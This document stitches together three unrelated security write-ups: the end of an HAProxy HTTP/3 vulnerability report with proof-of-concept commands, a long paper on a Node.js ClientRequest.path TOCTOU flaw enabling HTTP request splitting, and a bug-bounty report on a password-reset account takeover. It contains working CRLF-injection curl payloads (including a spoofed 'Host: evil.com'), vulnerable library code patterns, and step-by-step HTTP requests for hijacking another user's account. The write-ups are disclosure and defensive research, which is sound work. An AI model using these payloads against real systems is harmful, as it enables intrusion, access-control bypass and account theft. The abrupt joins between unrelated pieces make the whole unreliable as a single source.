docker compose up -d --build   # HAProxy build takes ~10 min first time

# One-shot verification:
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once

# Continuous poisoning (run in one terminal, browse in another):
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 0.5

References

Specifications

• RFC 9000 — QUIC: A UDP-Based Multiplexed and Secure Transport. §19.8 defines the STREAM frame, including the OFF/LEN/FIN flag bits in the type byte; §4.5 defines the stream final-size invariant.
• RFC 9114 — HTTP/3. §4.1.2 “Malformed Requests and Responses” is the Content-Length ↔ DATA-frame-sum contract that h3_check_body_size enforces on the legitimate path.
• RFC 7540 — Hypertext Transfer Protocol Version 2 (HTTP/2). §4.1 frame layout, cited for contrast with H/3’s transport-level FIN.
• RFC 9113 — HTTP/2, the current revision obsoleting RFC 7540.

QUIC design

• Jim Roskind, “QUIC: Design Document and Specification Rationale” — the 2012 Google design memo, first public statement of QUIC’s goals.
• Langley, Riddoch, Wilk, Vicente, Krasic, Zhang, Yang, Kouranov, Swett, Iyengar et al., “The QUIC Transport Protocol: Design and Internet-Scale Deployment”, SIGCOMM 2017 — the deployment retrospective.

HTTP request smuggling — prior art

• James Kettle’s blog and research portfolio: jameskettle.com · @albinowax.
• PortSwigger Research — the deepest public catalog of HTTP desync / smuggling work.

Fix and advisory

• Fix commit: Amaury Denoyelle, 05a29544 — BUG/MAJOR: h3: check body size with content-length on empty FIN, 2026-03-18.
• HAProxy mailing list advisory: haproxy@formilux.org msg 46752.
• CVE record: CVE-2026-33555 · NVD entry.

Acknowledgments

Thanks to the HAProxy security team — in particular Amaury Denoyelle, who authored the fix — for a smooth coordinated disclosure.

Thanks also to James Kettle and his collaborators at PortSwigger Research. The years of work on HTTP desync and request smuggling published on his blog and on PortSwigger Research has been a constant source of material and inspiration for this writeup — genuine respect for the body of work he has put out.

— r3verii (Martino Spagnuolo)

RESPONSIBLE DISCLOSURE NOTICE

This vulnerability was reported to Node.js through their HackerOne program. The Node.js security team has assessed it and determined it is not a vulnerability under their current threat model. This paper is published to inform the ecosystem and help developers protect their applications.

Table of Contents

1. Prologue: A Bug That Won’t Die
2. The 2018 Precedent: CVE-2018-12116
3. The Root Cause: Anatomy of the TOCTOU
4. Walking Through the Source Code
5. “Possible” fix for the root cause
6. The Impact Spectrum: From Header Injection to Request Splitting
7. The Ecosystem Audit: 7 Vulnerable Libraries
8. Library-by-Library Deep Dive
9. Libraries That Got It Right
10. Live Demo
11. Node.js Response: “Not a Vulnerability”
12. Call to Arms

1. Prologue: A Bug That Won’t Die

In 2018, a researcher discovered that Node.js’s http.request() would happily pass Unicode characters through to the wire, where latin1 encoding would truncate them into CRLF bytes — enabling HTTP Request Splitting. It was assigned CVE-2018-12116, scored CVSS 7.5 HIGH, and promptly fixed.

The fix added a regex validation to reject paths containing characters outside \u0021-\u00ff:

// lib/_http_client.js (the 2018 fix, still present today)
const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;

if (options.path) {
    const path = String(options.path);
    if (INVALID_PATH_REGEX.test(path)) {
        throw new ERR_UNESCAPED_CHARACTERS('Request path');
    }
}

Case closed. Right?

Not quite. The 2018 fix has a fundamental design flaw: it only runs at construction time. The property it validates — this.path — remains a plain writable JavaScript property with no setter, no proxy, no Object.defineProperty guard. Any code that mutates ClientRequest.path after construction completely bypasses this validation.

And as I discovered, an enormous amount of code does exactly that.

2. The 2018 Precedent: CVE-2018-12116

To understand the current bug, we need to understand its predecessor.

CVE-2018-12116 — HTTP Request Splitting via Unicode

The Mechanism: Node.js versions 8 and below used latin1 encoding when constructing HTTP requests without a body. Latin1 is a single-byte encoding — it can’t represent high Unicode characters, so it truncates them to their lowest byte.

An attacker could craft Unicode characters that, when truncated to latin1, produced HTTP control bytes:

• \u{010D} → \x0D (Carriage Return, \r)
• \u{010A} → \x0A (Line Feed, \n)

This meant a path like "/safe\u{010D}\u{010A}\u{010D}\u{010A}GET /admin" would pass any ASCII validation, but on the wire would become "/safe\r\n\r\nGET /admin" — a fully split second HTTP request.

The Fix: Reject any path containing characters outside the range \u0021-\u00ff at construction time.

The fix was effective for its specific attack vector. But it introduced an assumption that would prove dangerous: that validation at construction time is sufficient.

3. The Root Cause: Anatomy of the TOCTOU

The vulnerability I found is a classic TOCTOU (Time-of-Check-Time-of-Use) bug.

              TIME ─────────────────────────────────────────────────────►
    ┌──────────────────┐         ┌─────────────────────┐        ┌──────────────────┐
    │  http.request()  │         │   TOCTOU WINDOW     │        │ _implicitHeader()│
    │                  │         │                     │        │                  │
    │  options.path    │         │  ClientRequest      │        │  this.path used  │
    │  is VALIDATED    │         │  is EXPOSED to      │        │  directly in     │
    │  against         │────────►│  user code via      │───────►│  HTTP request    │
    │  INVALID_PATH_   │         │  events/callbacks   │        │  line — NO       │
    │  REGEX           │         │                     │        │  re-validation   │
    │                  │         │  .path is a PLAIN   │        │                  │
    │  ✅✅ CHECK     │         │  WRITABLE property  │        │  ❌❌ USE       │
    └──────────────────┘         └─────────────────────┘        └──────────────────┘
                                          🡩
                                          |
                                  ┌─────────────────────┐
                                  │  ATTACKER MUTATES   │
                                  │  clientReq.path =   │
                                  │  "/x\r\n\r\nGET /"  │
                                  │                     │
                                  │  Validation is      │
                                  │  NEVER re-run       │
                                  └─────────────────────┘

In simple terms:

1. CHECK: When you call http.request(options), Node.js validates options.path against INVALID_PATH_REGEX. If it contains CRLF characters (\r, \n) or characters outside \u0021-\u00ff, it throws an error. Good.

2. WINDOW: The resulting ClientRequest object has a .path property that is a plain writable JavaScript property — this.path = options.path || '/'. No setter. No Object.defineProperty. No Proxy. Any code with a reference to the object can write to it freely.

3. USE: When the request is actually sent (triggered by .write(), .end(), or .pipe()), the method _implicitHeader() reads this.path directly and concatenates it into the HTTP request line: this.method + ' ' + this.path + ' HTTP/1.1\r\n'. No re-validation.

The gap between step 1 and step 3 is the TOCTOU window. Any mutation of .path during this window bypasses all CRLF validation.

4. Walking Through the Source Code

Let’s trace exactly what happens in the Node.js source code. All references are to the current Node.js main branch at time of writing.

4.1 — The Validation (Construction Time)

File: lib/_http_client.js — source

// Line 117: The regex that guards against CRLF
const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;

This regex matches any character outside the printable latin1 range. Notably, \r (\u000D) and \n (\u000A) are below \u0021, so they are caught by this regex. This is the CVE-2018-12116 fix.

source

// Lines 235-241: Validation runs ONCE, at construction
if (options.path) {
    const path = String(options.path);
    if (INVALID_PATH_REGEX.test(path)) {
        debug('Path contains unescaped characters: "%s"', path);
        throw new ERR_UNESCAPED_CHARACTERS('Request path');
    }
}

So far, so good. CRLF in the constructor path = error thrown.

4.2 — The Assignment (No Protection)

source

// Line 306: Plain property assignment — no setter, no guard
this.path = options.path || '/';

This is just a regular JavaScript property. There is no:

• Object.defineProperty() with a setter that validates
• Proxy trap
• Private field (#path)
• Frozen/sealed property

Any code that has a reference to the ClientRequest object can do req.path = anything and it will succeed silently.

4.3 — The Use (No Re-validation)

source

// Lines 475-481: _implicitHeader() — called by .write(), .end(), .pipe()
ClientRequest.prototype._implicitHeader = function _implicitHeader() {
    if (this._header) {
        throw new ERR_HTTP_HEADERS_SENT('render');
    }
    this._storeHeader(
        this.method + ' ' + this.path + ' HTTP/1.1\r\n',
        //                   ^^^^^^^^^
        //                   READ DIRECTLY — NO RE-VALIDATION
        this[kOutHeaders]
    );
};

This is where the damage happens. this.path is read raw and concatenated directly into the HTTP request line. If .path now contains \r\n, those bytes go directly onto the TCP socket.

4.4 — The Wire Format

_storeHeader() (in lib/_http_outgoing.js) takes that first line and builds the complete HTTP message — source:

// lib/_http_outgoing.js, line 397
function _storeHeader(firstLine, headers) {
    // firstLine = 'GET /index.html HTTP/1.1\r\n'   ← normal
    // firstLine = 'GET /x\r\n\r\nGET /admin HTTP/1.1\r\n'  ← SPLIT!
    const state = {
        // ...
        header: firstLine,   // ← stored directly, no sanitization
    };
    // ... processes headers, appends them to state.header ...
    // ... writes state.header to the socket ...
}

The content flows directly to the TCP socket. If the path contained CRLF sequences, they are written as-is — enabling anything from header injection to full request splitting, depending on the payload.

5. “Possible” fix for the root cause

This issue is not inherently “in” proxy libraries. Proxy libraries expose legitimate hooks (e.g. proxyReq, proxyReq.path) to customize the outbound request. The core problem is a time-of-check/time-of-use (TOCTOU) gap in Node.js’ HTTP client: the request path is validated when the ClientRequest is created, but the request-line is rendered later using the current value of this.path. If path is mutated after construction—especially via low-level hooks—an attacker-controlled value can reach the request-line.

What the fix must guarantee

Whatever is used in the request-line must always be:

1. Canonicalized as a string (String(...)),
2. Validated using the same rules (INVALID_PATH_REGEX / ERR_UNESCAPED_CHARACTERS),
3. Checked at the point of serialization, and ideally also at the point of mutation.

A subtle but important requirement: avoid evaluating this.path multiple times. If this.path is not a plain string (e.g. an object with a custom toString()), reading it twice can reintroduce a TOCTOU inside the fix.

Below are two options. They are compatible and can be combined for defense-in-depth.

Option B (minimal / upstream-friendly): re-validate in _implicitHeader()

This is the lowest-impact change: validate right before building the request-line. The key is to stringify once and reuse the same value for both validation and header construction.

ClientRequest.prototype._implicitHeader = function _implicitHeader() {
  if (this._header) {
    throw new ERR_HTTP_HEADERS_SENT('render');
  }

  // Canonicalize once (prevents TOCTOU via toString side effects)
  const path = String(this.path);

  // Re-validate: if `path` was mutated after construction, fail here
  if (INVALID_PATH_REGEX.test(path)) {
    throw new ERR_UNESCAPED_CHARACTERS('Request path');
  }

  // (Optional hardening) apply the same principle to `method`
  const method = String(this.method);

  this._storeHeader(method + ' ' + path + ' HTTP/1.1\r\n', this[kOutHeaders]);
};

Pros

• Minimal behavioral change: no public API changes, only adds a guard.
• Closes the “mutate-after-construction → request-line injection” class of bugs.

Cons

• The failure is deferred: it triggers when the request is about to write headers, not at the moment of mutation.

Option A (fail-fast): validate at the path setter

This approach fails immediately when code tries to set an illegal path. To avoid a new TOCTOU, the setter must store the canonicalized string (not the original value).

Object.defineProperty(ClientRequest.prototype, 'path', {
  get() { return this._path; },
  set(value) {
    // Canonicalize once
    const v = String(value);

    // Same validation used at construction time
    if (INVALID_PATH_REGEX.test(v)) {
      throw new ERR_UNESCAPED_CHARACTERS('Request path');
    }

    // (Optional) prevent changes after headers are rendered
    // if (this._header) throw new ERR_HTTP_HEADERS_SENT('render');

    this._path = v; // store the canonicalized string
  }
});

Pros

• Fail-fast: stops dangerous mutations at their source (great for safety and debugging).
• Prevents non-string path values (with “creative” toString()) from living inside ClientRequest.

Cons

• Potential compatibility impact: turning path into a prototype accessor can affect edge cases (introspection, assumptions about “own” properties, etc.).
• Needs careful review against internal Node code paths that assign to req.path.

Practical recommendation

If the goal is an upstream-acceptable hardening:

• Option B is the most realistic minimal fix.
• Option A + Option B is the strongest defense-in-depth: fail at mutation, and still guard at serialization.

In all cases, the core rule is: canonicalize once, validate once, then use that frozen value for request-line rendering.

6. The Impact Spectrum: From Header Injection to Request Splitting

This is not a single attack. Depending on how CRLF characters are injected into ClientRequest.path, the impact ranges from header injection to complete request splitting. The _implicitHeader() method concatenates the path directly into the request line — so whatever bytes are in .path, they go on the wire verbatim.

Here’s the full spectrum:

Level 1: Header Injection

Injecting a single \r\n after the HTTP version allows adding arbitrary headers to the outgoing request.

Mutated path:  /legit HTTP/1.1\r\nX-Injected: malicious-value\r\nX-Foo: bar

On the wire:
    GET /legit HTTP/1.1
    X-Injected: malicious-value      ← injected
    X-Foo: bar                        ← injected
    Host: backend.internal            ← original headers follow
    Connection: keep-alive

Impact: Override security headers (Authorization, X-Forwarded-For, Host), bypass IP-based ACLs, impersonate internal services.

Level 2: Body Injection

Injecting \r\n sequences to close the headers and begin a body allows injecting content into a request that wasn’t supposed to have a body.

Mutated path:  /legit HTTP/1.1\r\nContent-Length: 13\r\n\r\n{"admin":true}

On the wire:
    GET /legit HTTP/1.1
    Content-Length: 13                ← injected
                                      ← end of headers
    {"admin":true}                    ← injected body
    Host: backend.internal            ← orphaned, treated as next request start

Impact: Transform GET requests into requests with bodies, inject JSON/form payloads, alter backend state.

Level 3: Full Request Splitting

Injecting a complete \r\n\r\n sequence (end of headers) followed by a new request line creates two completely separate HTTP requests from a single client request.

Mutated path:  /legit HTTP/1.1\r\nHost: x\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n

On the wire — TWO distinct requests:

    ┌─── Request 1 (legitimate) ────────────────┐
    │ GET /legit HTTP/1.1                        │
    │ Host: x                                    │
    │                                            │
    └────────────────────────────────────────────┘
    ┌─── Request 2 (INJECTED) ──────────────────┐
    │ GET /admin HTTP/1.1                        │
    │ Host: x                                    │
    │                                            │
    └────────────────────────────────────────────┘

Impact: The second request is entirely attacker-controlled — method, path, headers, body. It reaches the backend as a completely independent request. This enables access to internal endpoints, admin panels, or any path the proxy wouldn’t normally allow.

Quick reference

Note: This is different from HTTP Request Smuggling (CL/TE desync). Smuggling produces one ambiguous request that is interpreted differently by frontend and backend. Request Splitting produces two distinct, well-formed requests on the wire from a single client request. The second request is not ambiguous — it’s a real, complete HTTP request.

7. The Ecosystem Audit: 7 Vulnerable Libraries

The TOCTOU window is in Node.js core, but it only becomes exploitable when a library exposes the raw ClientRequest object to user code (or its own internal code) between construction and header flush.

I audited the most popular Node.js HTTP client and proxy libraries to determine which ones open this window. Here are the results:

Vulnerable Libraries (Window OPEN)

Combined: ~160M+ weekly downloads with an open TOCTOU window.

Important Note: This is not an exhaustive list. Any library or custom code that uses http.request() and exposes the resulting ClientRequest before _implicitHeader() is called is potentially affected. The vulnerability surface extends to every custom implementation of HTTP proxying or client code that follows this pattern. There are certainly more libraries out there.

8. Library-by-Library Deep Dive

8.1 — node-http-proxy

18.7M downloads/week · 14.1K stars

The foundation of Node.js proxying. Used by http-proxy-middleware, Vite (via http-proxy-3), Nuxt (via httpxy), webpack-dev-server, BrowserSync, and hundreds of other tools.

The Window:

source · pipe

// lib/http-proxy/passes/web-incoming.js

// Line 126: ClientRequest created — path validated here
var proxyReq = (options.target.protocol === 'https:' ? https : http).request(
    common.setupOutgoing(options.ssl || {}, options, req)
);

// Lines 131-135: proxyReq event fires on socket callback
proxyReq.on('socket', function(socket) {
    if (server && !proxyReq.getHeader('expect')) {
        server.emit('proxyReq', proxyReq, req, res, options);
        //          ^^^^^^^^^ ClientRequest exposed — WINDOW OPEN
    }
});

// Line 170: .pipe() triggers _implicitHeader() — WINDOW CLOSES
(options.buffer || req).pipe(proxyReq);

Vulnerable Pattern:

const httpProxy = require('http-proxy');
const proxy = httpProxy.createProxyServer({ target: 'http://backend:8080' });

proxy.on('proxyReq', (proxyReq, req, res) => {
    // ANY mutation of proxyReq.path here bypasses CRLF validation
    proxyReq.path = req.url;                              // raw passthrough
    proxyReq.path = proxyReq.path.replace('/prefix', ''); // prefix strip
    proxyReq.path = '/api' + req.query.target;            // concatenation
});

The same pattern applies identically to http-proxy-3 (used by Vite, 78.4K stars) and httpxy (used by Nitro/Nuxt, 57K stars). They are forks with the same architecture.

8.2 — http-proxy-middleware

22.6M downloads/week · 11.1K stars

The most popular Express/Connect proxy middleware. Built on top of node-http-proxy. Used by Create React App, Angular CLI, webpack-dev-server, and countless production applications.

http-proxy-middleware is built on top of node-http-proxy and inherits the same TOCTOU window via the on.proxyReq handler. The vulnerable pattern is identical:

The Window (inherited from node-http-proxy):

Any code inside on.proxyReq that assigns to proxyReq.path bypasses CRLF validation, exactly as in node-http-proxy. http-proxy-middleware simply wraps the configuration:

createProxyMiddleware({
    target: 'http://backend:8080',
    on: {
        proxyReq: (proxyReq, req, res) => {
            proxyReq.path = userControlledValue;  // ← TOCTOU: same window as node-http-proxy
        }
    }
});

Note on fixRequestBody():

source

// src/handlers/fix-request-body.ts, lines 30-32
const writeBody = (bodyData: string) => {
    proxyReq.setHeader('Content-Length', Buffer.byteLength(bodyData));
    proxyReq.write(bodyData);  // ← calls _implicitHeader() IMMEDIATELY
};

fixRequestBody() does not modify proxyReq.path — it only writes the body. However, the .write() call triggers _implicitHeader(), which flushes whatever is currently in proxyReq.path to the wire. If a path mutation happens before fixRequestBody() in the same handler, the flush is deterministic rather than race-dependent.

8.3 — superagent

15.9M downloads/week · 16K stars

Popular HTTP client library with a fluent API. Used for both browser and Node.js.

The Window:

source · emit · end

// src/node/index.js

// Line 788:  ClientRequest created — path validated
this.req = module_.request(options);

// Line 1220: 'request' event emitted — WINDOW OPEN
this.emit('request', this);
// this.req is accessible via the emitted 'this' object

// Line 1291: req.end() called — _implicitHeader() — WINDOW CLOSES
req.end(data);

Vulnerable Pattern:

const superagent = require('superagent');

superagent.get('http://target.com/safe')
    .on('request', (sa) => {
        // sa.req is the raw ClientRequest
        // _implicitHeader() has NOT been called yet
        sa.req.path = '/safe HTTP/1.1\r\nHost: x\r\n\r\nGET /admin';
    })
    .end();

While this pattern is less common than proxy path mutations (superagent is typically used as a client, not a proxy), the architectural window is present and any code using the request event to modify the underlying ClientRequest would be vulnerable.

8.4 — request (+ @cypress/request, postman-request)

24.4M combined downloads/week · 25.9K stars

Deprecated since 2020 but still massively used. Its forks (@cypress/request, postman-request) are actively maintained.

The Window:

source · emit

// request.js

// Line 751: ClientRequest created — path validated
self.req = self.httpModule.request(reqOptions);

// Line 861: 'request' event emitted — WINDOW OPEN
self.emit('request', self.req);

// ... start() returns ...

// Deferred via setImmediate/nextTick:
// self.write() / self.end()   ← _implicitHeader() — WINDOW CLOSES

The key insight here is the deferred execution: .write() and .end() are scheduled via setImmediate/nextTick, so they run after start() returns. The 'request' event fires synchronously inside start(), giving handler code full access to the ClientRequest before any data is sent.

Vulnerable Pattern:

const request = require('request');  // or @cypress/request, postman-request

request('http://target.com/safe')
    .on('request', (clientReq) => {
        // clientReq is the raw ClientRequest
        // .write()/.end() are DEFERRED — haven't run yet
        clientReq.path = '/safe HTTP/1.1\r\nHost: x\r\n\r\nGET /admin';
    });

8.5 — @hapi/wreck

1.7M downloads/week

The core HTTP client for the Hapi ecosystem. Used in enterprise applications at Walmart, Yahoo, and Mozilla.

Two distinct vectors:

Vector 1 — 'request' event:

source

// lib/index.js

// Line 186: ClientRequest created — path validated
const req = client.request(uri);

// Line 188: 'request' event emitted — WINDOW OPEN
this._emit('request', req);

// Later: req.write(payload) / req.end()  — WINDOW CLOSES

Vector 2 — Stream payload (deferred pipe):

source

// lib/index.js, lines 316-331
if (options.payload instanceof Stream) {
    internals.deferPipeUntilSocketConnects(req, stream);
    return req;   // ← returns WITHOUT calling .end()!
}

// The returned req is stored in:
promise.req = req;   // ← accessible before _implicitHeader()

When the payload is a Stream, wreck defers the pipe until the socket connects. This means promise.req is exposed before _implicitHeader() runs, giving calling code time to mutate .path.

Vulnerable Patterns:

const Wreck = require('@hapi/wreck');

// Vector 1: via events
const client = Wreck.defaults({ events: true });
client.events.on('request', (req) => {
    req.path = '/admin\r\nHost: evil\r\n\r\nGET /secret';
});
await client.get('http://target.com/safe');

// Vector 2: via Stream payload
const { Readable } = require('stream');
const stream = new Readable({ read() { this.push('data'); this.push(null); } });
const promise = Wreck.request('POST', 'http://target.com/safe', { payload: stream });
promise.req.path = '/admin\r\nHost: evil\r\n\r\nPOST /secret';

9. Libraries That Got It Right

Not every library is affected. Several popular HTTP libraries have architectures that naturally close the TOCTOU window, either by accident or by design.

What Makes a Library Safe?

The pattern is clear. Safe libraries follow one of these strategies:

1. Flush before expose — Call .write(), .end(), or .pipe() before emitting events or returning the ClientRequest to user code. (got, needle, phin)

2. Never expose — Keep the ClientRequest as a private/local variable. Never emit it via events or return it before headers are sent. (follow-redirects, axios)

3. Don’t use ClientRequest — Use fetch(), undici, or another HTTP implementation that doesn’t have this writable .path property. (h3, undici)

4. Encode at construction — Use new URL() (WHATWG parser) which percent-encodes special characters before they ever reach http.request(). (@fastify/reply-from)

10. Live Demo

To demonstrate this vulnerability in practice, I set up a minimal but realistic lab: a proxy that rewrites paths using the most common pattern found in real-world code, and a backend that logs every request it receives.

The Setup

Backend (backend.js) — a simple Express server that logs every incoming request:

const express = require("express");

const app = express();
app.use(express.json());
r_idx = 0;

app.get("*", (req, res) => {
  console.log(`[${++r_idx}] ${req.method} ${req.path}`);
  res.json({
    ok: true,
    source: "target-server",
    method: req.method,
    url: req.originalUrl,
    path: req.path,
    query: req.query,
    headers: {
      host: req.headers.host,
      "x-proxy-test": req.headers["x-proxy-test"] || null,
    },
  });
});

app.post("*", (req, res) => {
  console.log(`[${++r_idx}] ${req.method} ${req.path}`);
  res.json({
    ok: true,
    source: "target-server",
    method: req.method,
    url: req.originalUrl,
    path: req.path,
    query: req.query,
    body: req.body,
    headers: {
      host: req.headers.host,
      "x-proxy-test": req.headers["x-proxy-test"] || null,
    },
  });
});

app.listen(4000, () => {
  console.log("Target server running on http://localhost:4000");
});

Proxy (proxy.js) — an Express proxy that extracts a catch-all parameter and assigns it to proxyReq.path:

const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

app.use('/proxy/:target(*)', createProxyMiddleware({
  target: 'http://backend:4000',
  changeOrigin: true,
  on: {
    proxyReq: (proxyReq, req) => {
      proxyReq.path = '/' + req.params.target;
      console.log(`[PROXY] ${req.method} ${req.originalUrl} -> ${proxyReq.path}`);
    }
  }
}));

app.listen(3000, '0.0.0.0', () => {
  console.log('Proxy running on http://0.0.0.0:3000');
  console.log('  Example: /proxy/hello');
});

This is a completely realistic pattern. The proxy takes a path from the URL (:target parameter), prepends /, and assigns it to proxyReq.path. This is exactly how dozens of real-world proxies handle path rewriting.

The problem: req.params.target comes directly from the user’s URL. Express decodes percent-encoded characters in route parameters. So %0D%0A in the URL becomes \r\n in req.params.target, which then flows into proxyReq.path — after INVALID_PATH_REGEX validation has already passed.

Exploit: Header Injection

A single request with percent-encoded CRLF in the path:

curl "http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AX-Injected:%20true%0D%0AHost:%20evil.com%0D%0A%0D%0A"

The proxy decodes this and assigns to proxyReq.path:

/hello HTTP/1.1\r\nX-Injected: true\r\nHost: evil.com\r\n\r\n

The backend receives a request with the injected X-Injected header and a spoofed Host.

Exploit: Full Request Splitting

curl "http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0AGET%20/admin/secret%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0A"

The proxy sends one request. The backend logs two:

[1] GET /hello
[2] GET /admin/secret    ← this was never requested by the client

One curl command, two backend requests. The second request (GET /admin/secret) is entirely attacker-controlled and reaches the backend as an independent, authenticated request on the same TCP connection.

11. Node.js Response: “Not a Vulnerability”

I reported this finding to the Node.js security team through their HackerOne program, providing:

• Full root cause analysis with source code references
• Working proof of concept
• Ecosystem impact assessment showing 7 vulnerable libraries with 160M+ combined weekly downloads
• 13 confirmed real-world production sinks

Their response:

“We have assessed it and it’s not a vulnerability according our current threat model. In 2018 we did not have one, and if we did we would not have classified that as a vulnerability.”

This references CVE-2018-12116 — the same class of vulnerability, but exploitable directly at the constructor level (via Unicode truncation). The Node.js team’s position is that:

1. The 2018 constructor-level fix was not a vulnerability under their current threat model either
2. ClientRequest.path being a writable property is by design
3. Libraries that expose the raw ClientRequest to user code are responsible for their own validation

While I respect the Node.js team’s right to define their threat model, I disagree with this assessment for several reasons:

• The validation exists but is incomplete. Node.js does validate options.path at construction — this creates a false sense of security. Developers reasonably assume that if CRLF in the constructor throws an error, the property is somehow protected.

• The fix would be trivial. A setter on .path that re-runs INVALID_PATH_REGEX, or using Object.defineProperty to make it read-only after construction, would close the window without breaking any legitimate use case.

• The blast radius is massive. 160M+ weekly downloads across 7 libraries, with confirmed sinks in production projects by Microsoft, Google, Stanford, and UN/FAO. This is not a theoretical concern.

12. Call to Arms

Since Node.js has decided not to fix the root cause, the burden falls on the ecosystem.

Every library that uses http.request() and exposes the resulting ClientRequest before _implicitHeader() is called creates a potential TOCTOU window. Every application that mutates ClientRequest.path in that window with user-controlled data is a potential HTTP Request Splitting vulnerability.

What I’m Looking For

I am actively looking for:

1. Other HTTP libraries with open TOCTOU windows. The seven I found are certainly not all of them. Any library that wraps http.request() and exposes the ClientRequest via events, callbacks, or return values before header flush could be affected.

2. Applications that mutate ClientRequest.path in event handlers (proxyReq, request, etc.) with data derived from user input — query parameters, headers, URL paths.

3. Custom http.request() implementations in production applications that follow the same pattern of exposing ClientRequest before flush.

How to Check Your Code

Search your codebase for these patterns:

# Proxy libraries (node-http-proxy, http-proxy-middleware)
grep -rn "proxyReq\.path\s*=" .
grep -rn "\.on.*proxyReq" .

# HTTP clients (superagent, request)
grep -rn "\.on.*'request'" . | grep -i "\.path\s*="
grep -rn "\.req\.path\s*=" .

# Generic — any ClientRequest mutation
grep -rn "clientReq\.path\s*=" .
grep -rn "\.path\s*=.*req\." .

If you find matches, check whether:

1. The value assigned to .path can be influenced by user input (query params, headers, URL segments)
2. The mutation happens after http.request() construction but before .write()/.end()/.pipe()

If both conditions are true, you likely have a request splitting vulnerability.

Collaborate

If you discover vulnerable patterns in libraries or applications, I’d love to hear from you. I believe that community-driven security research is the most effective way to address systemic issues like this — especially when the upstream vendor has decided not to act.

You can reach me at:

• GitHub: @r3verii
• Email: r3verii2@gmail.com
• Linkedin: Martino Spagnuolo

This is an open invitation. Whether you’re a security researcher, a library maintainer, or a developer who found this pattern in your own code — let’s work together to map and mitigate this vulnerability across the Node.js ecosystem.

Research Timeline

This research was conducted with the assistance of AI for code analysis and for drafting the final paper. All findings were reported responsibly prior to public disclosure. No production systems were exploited during this research; all tests were performed on local instances of the affected software.

Disclosure note: The issue described here has been fixed by the vendor. All domains, identifiers and sensitive details have been redacted. This post is for educational purposes only and mirrors a bug bounty report I submitted. The target is one of the largest gambling platforms in the world. Bounty awarded: €3,500.

TL;DR

A password-reset flow set a cookie (OTP_TOKEN) after OTP validation. That token was single-use but not bound to the subject (email/account) it was issued for. An attacker could validate OTP for their own account to get a fresh OTP_TOKEN, then immediately use that token to confirm the password reset for a different account (the victim) — as long as they supplied the victim’s jwt and accountId (returned by /generate).

Impact: zero‑click Account Takeover (ATO) → direct wallet access/withdrawals and exposure of personal/financial data.
My proposed CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.8 (Critical).
Program triage: High, arguing that knowledge of a non‑public email tied to a public username made Attack Complexity = High, thus lowering the score. I don’t fully agree, but I respect the ruling.

Background

During the password reset flow, after a successful OTP validation, the backend returned a cookie (here referred to as OTP_TOKEN). This token was treated as a flow authorization token for the final reset step (/recovery/password/confirm). Crucially, it was:

• Single‑use (consumed on the first successful confirm), yet
• Not bound to the identity/transaction for which it was issued (no binding to accountId/email/requestId/transaction_type).

All testing was performed with my own test accounts. No third‑party accounts or data were accessed.

Affected (Redacted) Endpoints

API base URL intentionally redacted. Only paths are shown.

• POST /api/otp-core-ms/v2/generate
• POST /api/otp-core-ms/v1/validate
• POST /api/account-ms/v1/recovery/password/confirm

Vulnerability Overview

1. Unbound flow token: After /validate, the server set OTP_TOKEN (cookie). That token was accepted by /confirm even if the jwt/accountId in the JSON body belonged to another account.
2. Single‑use nuance: The token is not reusable, so the attacker must not use it for their own account. They must spend the token once — on the victim’s /confirm within the token TTL.
3. Result: A successful cross‑account password reset (zero‑click from the victim’s perspective).

Step‑by‑Step PoC (Sanitized)

Let’s use two demo identities:

• Account A (attacker): attacker@example.com
• Account B (victim): victim@example.com

⚠️ The token is single‑use. After /validate for Account A, do not call /confirm for A. Use the token once — to confirm the reset for B.

1) Generate OTP for Account A (attacker)

Request

POST /api/otp-core-ms/v2/generate HTTP/2
Host: [redacted]
Content-Type: application/json

{"username":"attacker","email":"attacker@example.com","channel":"email","transaction_type":"recovery_password"}

Response (excerpt)

HTTP/2 200 OK
Content-Type: application/json
Content-Length: [redacted]

{"status":"SUCCESS","channel":62,"requestId":"[GUID]","datetime":"[DD-MM-YYYY HH:mm:ss]","data":{"resend_left":9},
  "accountId":[ATTACKER_ACCOUNT_ID],
  "accountCode":"[REDACTED]",
  "firstName":"[REDACTED]","lastName":"[REDACTED]","birthDate":"[REDACTED]",
  "jwt":"<REDACTED_JWT>"}

2) Validate OTP for Account A and obtain OTP_TOKEN

Request

POST /api/otp-core-ms/v1/validate HTTP/2
Host: [redacted]
Content-Type: application/json

{"otp":"8275","channel":"email","transaction_type":"modify_pass","email":"attacker@example.com"}

Response

HTTP/2 200 OK
Content-Type: application/json
Content-Length: 24
Set-Cookie: OTP_TOKEN=53472994; Max-Age=300; Path=/; HttpOnly; SameSite=None; Secure

{"data":{"status":"OK"}}

The attacker now has a single‑use OTP_TOKEN valid for a short TTL (e.g., ~5 minutes).

3) Generate reset for Account B (victim) to obtain victim’s jwt and accountId

Request

POST /api/otp-core-ms/v2/generate HTTP/2
Host: [redacted]
Content-Type: application/json

{"username":"victim","email":"victim@example.com","channel":"email","transaction_type":"recovery_password"}

Response (success shape)

HTTP/2 200 OK
Content-Type: application/json

{"status":"SUCCESS","channel":62,"requestId":"[GUID]","datetime":"[DD-MM-YYYY HH:mm:ss]","data":{"resend_left":[int]},
  "accountId":[VICTIM_ACCOUNT_ID],"accountCode":"[REDACTED]",
  "firstName":"[REDACTED]","lastName":"[REDACTED]","birthDate":"[REDACTED]",
  "jwt":"<REDACTED_JWT>"}

4) Immediately confirm reset for Account B using OTP_TOKEN from Account A

Request

POST /api/account-ms/v1/recovery/password/confirm HTTP/2
Host: [redacted]
Content-Type: application/json
Cookie: OTP_TOKEN=53472994;

{"jwt":"<VICTIM_JWT>","accountId":<VICTIM_ACCOUNT_ID>,
  "password":"Str0ngP@ssw0rd!","contact":"victim@example.com"}

Response

HTTP/2 200 OK
Content-Type: application/json
Content-Length: [redacted]

{"status":"SUCCESS","channel":62,"requestId":"[GUID]","datetime":"[DD-MM-YYYY HH:mm:ss]","error":null}

